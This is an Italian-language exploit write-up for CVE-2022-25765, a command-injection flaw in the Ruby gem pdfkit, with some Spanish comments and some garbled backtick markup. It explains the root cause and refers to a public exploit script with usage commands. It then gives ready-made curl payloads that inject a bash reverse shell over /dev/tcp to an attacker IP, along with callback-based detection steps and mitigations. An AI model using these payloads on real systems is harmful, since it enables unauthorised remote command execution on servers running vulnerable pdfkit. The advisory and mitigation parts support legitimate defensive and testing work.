CVE-2022-25765 — Iniezione di comandi in pdfkit

Descrizione

CVE-2022-25765 è una vulnerabilità di iniezione di comandi (Command Injection) che colpisce pdfkit (gem Ruby) nelle versioni < 0.8.7.2. La vulnerabilità ha una severità CRITICA con CVSS 9.8, poiché consente l'esecuzione remota di comandi senza autenticazione.

Il problema sta nel fatto che pdfkit passa il parametro url direttamente alla shell senza sanitizzazione. La libreria esegue internamente wkhtmltopdf con un comando simile a:

system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

Se l'URL contiene %20 (spazio URL-encoded) seguito da backtick ` o $(), la shell interpreta il contenuto come un comando e lo esegue.

CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Dettagli tecnici

Causa principale

Il codice vulnerabile in pdfkit (source.rb:44-50):

def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

L'URL viene interpolata direttamente nel comando shell senza sanitizzazione. Includendo %20 (spazio), il contenuto dopo lo spazio fuoriesce dal contesto dell'argomento di wkhtmltopdf e un \`` o $()` consente di eseguire comandi arbitrari.

Exploit

Autore originale

UNICORDev (@NicPWNs e @Dev-Yeoj)

L'exploit originale si trova in:

• GitHub — UNICORDev/exploit-CVE-2022-25765
• Exploit-DB #51293

Requisiti

• Python 3
• requests, urllib3

pip install -r requirements.txt

Utilizzo

# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"

# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# Ayuda
python3 exploit-CVE-2022-25765.py -h

Parametri

Esempi di payload manuale

# Inyección via curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# Comando simple
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

Identificazione

Per identificare se un server è vulnerabile:

1. Inviare un URL controllato e osservare il callback HTTP
2. Controllare i metadati del PDF generato: Creator: pdfkit v0.8.6

# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs

# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)

Mitigazione

• Aggiornare pdfkit alla versione ≥ 0.8.7.2
• Se non è possibile aggiornare, sanitizzare il parametro url per eliminare i caratteri pericolosi (\``, $(), %20`)
• Implementare una whitelist di URL o utilizzare un'API di terze parti per la generazione di PDF

Riferimenti

• NVD — CVE-2022-25765
• CVE-2022-25765 su GitHub
• Exploit-DB #51293
• Snyk Advisory — SNYK-RUBY-PDFKIT-2869795
• pdfkit GitHub (originale)